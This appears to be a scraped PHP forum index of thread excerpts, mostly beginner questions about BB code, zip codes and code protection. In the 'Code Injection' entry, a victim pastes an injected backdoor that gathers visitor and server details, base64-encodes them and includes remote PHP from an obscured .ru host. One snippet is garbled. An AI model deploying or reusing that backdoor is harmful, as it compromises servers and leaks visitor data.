BB Code
i am making my own forums and i've got everything working pretty good except the bb code. i can get the easy ones like bold and emails but ones like 'url=index.php'Test'/url' (' = [ and ]) confuse me. i could get it if it was just url= or just plain url but when it can be either one i can't get it to work right.
View Complete Forum Thread with Replies
See Related Forum Messages: Follow the Links Below to View Complete Thread
Old Code Vs New Code - Language Syntax Change?
I've recently begun programming PHP again and have found my old code doesn't work anymore. It's been a few years since my code was written, and simple functions don't seem to be working. I've done a bit of research into the syntax again and found the following; I used to use a function as such; if ($REQUEST_METHOD=="POST") { Now I've seen alot of the syntax is if ($_SERVER($REQUEST_METHOD=="POST")) { And referencing variables from the form is as such; $_POST['variable'] Where previously I could reference them in the simple form; $variable Has there been a language syntax change that would cause my old code to be obsolete? Is there a configuration line that could be changed to allow this old code to work?
BB Code - Escape A Bracket In BB Code?
Is there a way to escape a "bracket" in BB code? The beginning of a bbcode post I made starts with something in brackets [like this]. This causes a strange thing to happen to the remainder of my post. Removing the brackets makes my post normal. That shows me that I need to escape the brackets. However, a simple backslash does not seem to do the trick i.e. this [wont work] I am not the administrator of the bb forum, just a poster. So I need to know what to do on my end (as opposed to an adiministrator's power to reconfigure, etc.
Code To Display My Code
I am taking a class in PHP and thought that it would be nice to display the PHP code that generated my pages when the user clicked a link (or submit button). I have seen page that will display the underlying HTML on the page and it would be a nice touch...
How To Add A Pop-up Code To Php
cecho"<script>" . "function openpopup()" { . "var popurl="clip.html"" . "winpops=windows.open(popurl,"",width=640,height=480,toolbar,directories,scrollba rs," } . "</script>"Hi, ÿ. "</script>"Hi, s.open(popurl,"",width=640,height=480,toolbar,directories,scrollba rs," in.php?op=modules">"._ADDAHOME."</a> ]</center>";
GPS, Zip Code DB
I am searching for a database that I can write a PHP application against. I am not looking for bulky packages, or anything fancy or maps, ... just some raw SQL data I can mix & match from tables, ... stuff like Zip codes, Latitude and Longitude, and any other basic address & coordinate info. I can cross reference and tie...
SSL Php Code
I am using linux, php and trying to do some ssl code. I want to send some identifier that connects my database to the client browser. I was looking into a secure cookie. I only want the page accessed over a SSL connection. Whats the best way to insure the clinet browser can only see my page if they are ssl connected to it? In adding a 1 to the end of my send cookie code, it sends the cookie regardless of if they are ssl connected or not.
Zip Code
I have a database of zipcodes with latitude and longitude. I also have the method of calculating the distance between two zipcodes. What I want to know is if there is an efficient algorithm for obtaining the zip codes within a specified distance of the first zipcode without having to retrieve and calculate for every record in the database.
Zip Code From IP
I found this on the internet in a process of grabbing weather from weather.com and it uses the IP to trace back the closest zip code. It looks up the whois info in arin.net and once, worked correctly. I was wondering if anyone knew why it no longer grabs the correct zip code. I don't want the weather anymore but rather just the zipcode. Code:
Code?
This is straight out of a book I'm reading to learn PHP. I'm thinking maybe I set either apache or PHP up incorrectly on my computer. Simpler PHP's snippets work fine so I just don't know. Could someone look this over and see if I have a problem? <?php function printColor($text, $color="black", &$count=NULL) { //print the text with style print("<span style="color: $color">" . "$text</span>"); //if given a count, increment it if(isset($count)) { $count++; } } //call with one argument printColor("This is black text"); print("<br> "); //override default color printColor("This is blue text", "blue"); print("<br> "); //pass in count reference $c = 0; printColor("This is red text", "red", $c); print("<br> "); printColor("This is green text", "green", $c); print("<br> "); print("Count: $c<br>"); ?>
PHP Bug (or My Bad Code)?
Consider this code: <? $mask_n = (pow(2,32) - (pow(2,32-24)-1)); printf("%x ", $mask_n); ?> On PHP 4.1.2 it prints: ffffff00 On PHP 4.3.10 is prints: ffffff01 Both versions of PHP are the standard Debian packaged versions (4.1.2 from Woody, 4.3.10 from Sarge) tecra# php -v PHP 4.3.10-9 (cli) (built: Mar 6 2005 17:45:14) Copyright (c) 1997-2004 The PHP Group Zend Engine v1.3.0, Copyright (c) 1998-2004 Zend Technologies admin# php -v 4.1.2 Results are (predictably) the same under both the CLI version and under the Apache module. Is this a bug in PHP, or is there something broken in my code?
Zip Code
I have this code that returns the distance between two zip codes and will return a radius of zips within so many miles. I am wanting to add onto this code to have it select from a new table that I have all of the rows of zip codes within that range. This new table would have name, address, zip, ect. Code:
Php Code In A .gif?
I have heard of it being done, But i cant quite figure out how its done. I would like to make a .gif that would maybe have a mail() or something in it.
Add Code To My Code
I have a good file exists code and want to add it to a different file, i tried several times but i get coninual errors. Could someone please help me and paste my code into my full file, i promise to learn from your work. i know it should be simple but im a bigginer to php. Code:
Add Code To Code
how i can add code 1 to code 2 witch is below?what im trying to do is have a banned email code so when some one signs up it will say the email has been banned i have a table in my database with the list of emails that i want banned its called banned_emails and iin the banned emails table its called banned_email that is where the emails are Code:
Run The Code More Than Once...
I am trying to get my code running more than once when a user submits their form. For example, when a user vists the page called "search", then can enter a number between 1 and 100. Once they hit submit, I want the code to run completely, x amount of times, depending on what the user requests.
BB Code
Can someone give me an example of how the BB Code works? Basicly I have a page were users add comments... I got all the nessesery options like B I U Image Link, Smiles... Now when the comment has been posted how can i change all those [B][i][u] :) :-) into html code and images..
BB Code
Im trying to replace certain bits of text that is displayed from the database $fetch->quote to allow BB Codes. So if they enter into the quote, it will output <center> Can someone help me please? i have a file that i was told should do it, but i dont see how it works as nothing is assigned to $txt ... <? function replace($txt) { $txt = str_replace(":sup:", "<img src="../images/smiles/thumbsup.gif">", $txt); return $txt; ?>
Code Obfuscation
I am a PHP developer on a web design company. I was told to protect the PHP code I write obfuscating it. I found a lot of tools for doing that, mostly scripts on websites that work very well. but the problem is that a medium project can have like 30 or maybe more PHP files. how to maintain consistency between function names that are on other files? an example. two php files. one of them has a function and the other one calls that function. what if the function name on the two files are different? do it exist any software that can obfuscate several PHP files?
Using Sudo Or Su In Php Code
I am writing an admin page that needs to create a folder on a hosted web server. Problem: I had tried using PHP's mkdir() but that created a uid and gid of "apache", which made it impossible to modify, delete or write to from a web page. I have been reading about using "sudo" or "su -root" but have not been able to get it to work. Question: How can I use either sudo or su to change the user and group permissions of a folder/file? My Code: In the code below, the folder is created and the user/group permissions are set to "apache". But I get no error msgs nor is the user/group changed from/by the passthru cmds.
Export Sql Code
Can I use a php script to move a database from a db on my local machine to a db on a server.. How exactly would it be structured, and what commands would I have to use? I'm also looking into using mysql to export the code and content from the db on my computer and then import it using phpMyAdmin on the server, but I still havent found out how to do that after searching these forums and reading through the mysql manual.
Code Organization
Is there any article anyone can point me to which talks basically about code organization? As I add more files, I realise the code can get quite messy and confusing. How is it that I can organise it better? Other than indention and comments, should I use classes? How should I break up my files?
Slow Code. Could I Do This Better?
I have a page that serves as a calendar for an object. On this page theres a section that automaticaly generats every day in the selected year, in a month by month fassion. What I'm trying to acomplish is to set bgcolor to green if the object is vacant, and red if not. I get this to work, but it's paintaking slow the way I do it. wich is: PHP Code:
Code Injection
I have a simple "Send an ecard" (my own flavour, as a way of learning php), and someone's hacked in to a logfile, through my own silly mistake. I'd just put a logfile (with the one-liner below) in to record anyone messing with it. Yes, I should have used chmod 0600. <?php header('Location: /'); exit; ?> What they'd done is to insert their code between the php closing bracket. <?php header('Location: /'); exit; error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_en code($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_dec ode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZ S5ydQ==")."/?".$str);}?>
What's Wrong With This Code?
I keep getting parse errors on line 10 (the "if (isset($LOGINID)) {" line). Can any of you figure out why the hell I keep getting this? Is is just something simple I'm overlooking? And if you have any comments on my code (security, structure, tips, etc), I'd like to know as well... [edit] Oh yeah, the db_connect, db_array, db_query, and decrypt functions are all defined in database.php and crypt.php. PHP Code:
What's Wrong In This Code
$link = mysql_pconnect ($DB_SERVER, $DB_LOGIN, $DB_PASSWORD); $selectStmt = "SELECT * FROM user_profile WHERE userid = 'david'"; if (!($result = mysql_db_query($DB, $selectStmt, $link))){ header("Location:http://$HTTP_HOST/$DOCROOT/error.html"); exit(); } here is the case, the userid 'David' is NOT in the table 'user_profile', the program should launch the error.html, and exit(), But it is not.
What's Wrong With This Php Code?
I put the following php code inside my index.html page. I upload it to my host server (free.prohosting.com), change the extension to php (and another one with php3)and CHMOD it to 644. When i viewed it in a browser, the normal html appeared but the items inside the php code failed to appear. Can somebody help me to confirm whether there is something wrong with my php code (it is a news grabber code) or is it because my webhost don't support php (the unofficial FAQ says that the server support php). If there is something wrong with my php code, here is the code: PHP code:
PHP And CGI Checking Of The Code
im trying to write a php app for my forums so when a user posts a message that has some programming code in it they can click on a link i plan on setting up that has a text box for them to paste the code into and hit a button (well call it submit) after they hit the button then the code is read and the syntax of this code is colorized much like Crimson editor does for its differant sytanx. programming the checking of the code isnt my problem im having trouble figureing out a way to make it so when they inpute it it gets sent to a php program to be checked and then sent back with the proper color tages..so if they were to enter in the text box: <?php // blah blah blah then soem more crap here ?> they then hit submit the program checks it and sees the syntax for php so it coloriz's it as php syntax and sends back the text liek this <?php // blah blah blah then some more crap here ?> Quote: and the code would looke liek this the [] are () so it doesnt show colors in this part but the code will be with the [] <?(color=blue)php(/color) (color=green)// blah blah blah(/color) then some more crap here ?> and then when they copy and paste it into the forum its then colorized as php syntax, any ideas or a tutorial on how to get a CGI script to call a php file to runs checks would be great.
Get Code From Another Site
I would like to (lets just call it) borrow a piece of code from another website. The website in question is published totally in Microsoft Frontpage, some very ancient version with totally flat HTML. (Not my site, not under my control. The owners have no interest in changing the site) Is it possible in PHP to take a piece of code from this website and reference it on my page, I was thinking of something along the lines of: GREP from sitename | referencing this page | inside these markers I've spoken with my web developers and they tell me I can use Iframe tags or RSS feeds, both of which I do not believe will allow me to accomplish this.
E-mail Code
First: how can I write php code that alert me when I have new mail? such as Gmail Second:Where can I find "libgmailer" sample code? for example reading new mail or sending mail and more..
Succinct Code
Are there any tutorials/articles that talk about succinct PHP coding practices? For example, articles on how to decrease the amount of code you have, speed etc...
Problem With Code
I have this simple problem with some PHP5 code using MySQL 5 on Windows and IIS 6. I think it has to do with my programming logic but I still can't figure it out? 1. What is happening is the password function works BUT if you put in the right username and wrong password it DOES NOT print out the message 'Password doesn't match!' Am I not using the 'elseif' statement properly? 2. Not sure if this is a logic problem, using MySQL functions properly or not using PHP5 functions properly. Thanks for any help anyone can give me!
Reg EX (Forum Code)
I am trying to allow a user to type a url such as [!url=blah!]http://www.ajb007.co.uk[!/url!] then this will be converted into a link, to do this I am using the following RegEx: PHP Code:
Writing Code.
I want the user to have some setup options such as changing the name variable, emal varable, among other things in an online format. I am not using MySQL with this script. So what I was thinking was the following, where $name and $email are the name and email variables, and $enter_name and $enter_email are the user input to change these values in variables.txt: <BLOCKQUOTE><font size="1" face="Verdana,Arial,Helvetica">code:</font><HR><pre> $fp = fopen($file, "r+"); $write_to_file = "write the excact same code as in variables.txt except change each value to the users input"; fwrite($fp, $write_to_file); fclose($fp); [/code] What I mean (the description you see of $write_to_file) is I want it to rewrite variables.txt with the new input. So, How can I write PHP code in a variable?
Protecting The Code
I am new to PHP. I did all my development in ASP. What I need to do is protect my code in PHP. In ASP, I make COM objects which protect the code. How do you do this in PHP? Can PHP code be compiled into some EXE or something?
Protecting PHP Code
I have a PHP/MySQL application that I am deploying at a client's. I am fairly certain that they will steal my source code and re-sell to other companies. I would like to somehow protect the source code. Here are some of the options I have thought about. Can someone give me some ideas and feedback about these -- 1. Host the most critical .php file on my own host server, and everything else on their's. I modify the HTML form elements to submit data to my site (using a full URL, rather than a relative one). The php file then connects to the database on their server using the full host name or IP address. After doing the processing, it redirects back to their site. This solution is complex, there is a performance impact, cookies won't work across sites, and there is a liability issue for me if my host server is down and their business stops because of that. 2. A less complex solution is to rip out some of the key functions from the .php files and host them as an include file on my server. This way, the cookies will still work as-is, and there is a slightly less performance impact. But we still have the issue of their site being dependent on mine. 3. Use an obfuscator that sits between the web server and the PHP runtime and encrypts/decrypts the .php files on the fly. I have looked at some common obfuscators and they are no good. All they do is replace function and variable names with some gibberish, but a simple Find/Replace using Notepad can break the obfuscation. Can anyone recommend a real obfuscator that is less stupid than the person stealing the code? 4. The last option is to rip out the important functions and put them in a C++ DLL and call the DLL from the PHP code. This solution appeals to me the most, but means a lot more work for me. I don't know much C++, but I know enough to write simple functions. But I don't know which C++ to use - like which compilers, etc. so that the DLL runs on their environment. I think their host is UNIX/Linux based, but not sure which flavour.
Can PHP Parsing Xml Code ?
I am looking for a programming script to parse a xml file. Can PHP do it. The xml file is from other web site and i need to parse it into my html page.
How Secure Is My Code?
After my last post, I had my eyes opened to many issues in my code. I have now redesigned my code so feel free to comment on any security vulnerbilites or suggest better ways of doing things. The following code is a simple login script...
Do I Need To Escape This Code?
After you all gave me some good advice recently, I'm back for more :o) On my web site, I want to display a 'log out' icon with some text underneath, ("Log out"), which, when clicked, will end a session. This is the simple code I'm using for the icon: <a href="<?php echo $_SERVER['PHP_SELF']; ?>?action=log_out"> <img border="0" src="images/logout.gif" width="74" height="74"><p style="text-align: center"> This all works fine and, when clicked, the session is ended and the user returns to my web site's home page. Now's the complicated, (Well for me, anyway), bit; I only want to show the 'log out' icon when the user is actually logged in. So, I've been using isset to determine the session state: <?php if (isset($_SESSION['user'])) {?> <a href="<?php echo $_SERVER['PHP_SELF']; ?>?action=log_out"> <img border="0" src="images/greenround.PNG" width="74" height="74"><p style="text-align: center"> <?php }?>
Date Code
I'm searching but not finding :( I need the code that creates automatic the days in a month So like for this month, it creates the days in this format 01-Oct, 02-Oct, .... This should be used in a form so when opening the page, automatic all the days of that specific month are listed, and when saving those dates are saved in the database (MySql) Monday is the start of the week and the weekends (sat-sun) should be marked in another collor. I hope someone can help me with this, because I'm trying to make this for about 2 weeks now, and all I've got are errors :s
Php Code From Plsql Using Owa Htp.p
can I run phpinfo(); or any php code from an oracle plsql package using htp.p from the oracle web toolkit owa? what I need is to run any php code using htp.p() I might be missing something, in my oracle/apache/php configuration I can only run flat .php files from /htdocs but can't run any php from a plsql procedure to display on a browser with htp.p
PHP Equivalent Of ASP Code
Im trying to duplicate this ASP code in PHP. Basically its a form of 10 records pulled from an MySQL table. The form lets the user update all 10 records at once if they want to. Each text box I name using the ID of the database record and the Database Field. Example: 3|Name (3 is the ID and Name is the database field) When the form is submitted this code is run: for x = 1 to request.form.count() if request.form.key(x) <> "Submit" then curFld = request.form.key(x) aryCats = split(curFld, "|") ID = aryCats(1) Field = aryCats(2) Data = request.form(curFld) strSQL = "UPDATE " & Table & " Set " & Field & "= '" & Data "' WHERE ID = " & ID 'response.write strSQL conn.execute strSQL end if next The code loops thru all the objects on the form. It takes each object name and splits it into an array using the | in the object name. Is there anything in PHP that will count the number of objects on a form and let you loop thu them like this script?
Code Analizer
I am using ZDE (Zend) to develop my php in and I just started using the Code Analizer Feature of it and I am getting these errors with my while loops: PHP Code:
Problem With A Code
I have this code: <?php $fpload = fopen(''.$ziel.'', 'r'); $fpsave = fopen(''.$endname.'', 'w'); if ($fpload && $fpsave) { while ($data = fread($fpload,65563)) fwrite($fpsave,$data); fclose($fpload); fclose($fpsave); echo 'Datei erfolgreich heruntergeladen / Data downloaded successfully' }else{ echo 'fehler / error' } ?> But I noticed, that I can't open FTP links like ftp://url.com/iosd.exe ?! How I can add this function into my code.
Session Code
I need to use sessions on a vew pages on my website and I'm just a begginer on PHP so i wanna know if anyone of you knows a good free session code wich can work on register globals off. or a tutorial wich also have a logout page?
Code WHILE Loops
A script is written to query a db and print the result on the screen. $result = mysql_query("SELECT * FROM events",$db); $myrow = mysql_fetch_array($result); $type = $myrow['type']; echo "Type = $type"; while ($myrow = mysql_fetch_array($result) { $type = $myrow['type']; echo "Type = $type";} Question: Is there a cleaner way of coding this loop (which works fine, btw)? If I don't include the first fetch_array & echo statement, the first row of the table is not printed to the screen. Using: while ($result) makes an endless loop (gets stuck on the first record). Same thing for while ($myrow). I don't mind coding it like my example above, but it seems like this is a convoluted way of doing things.
|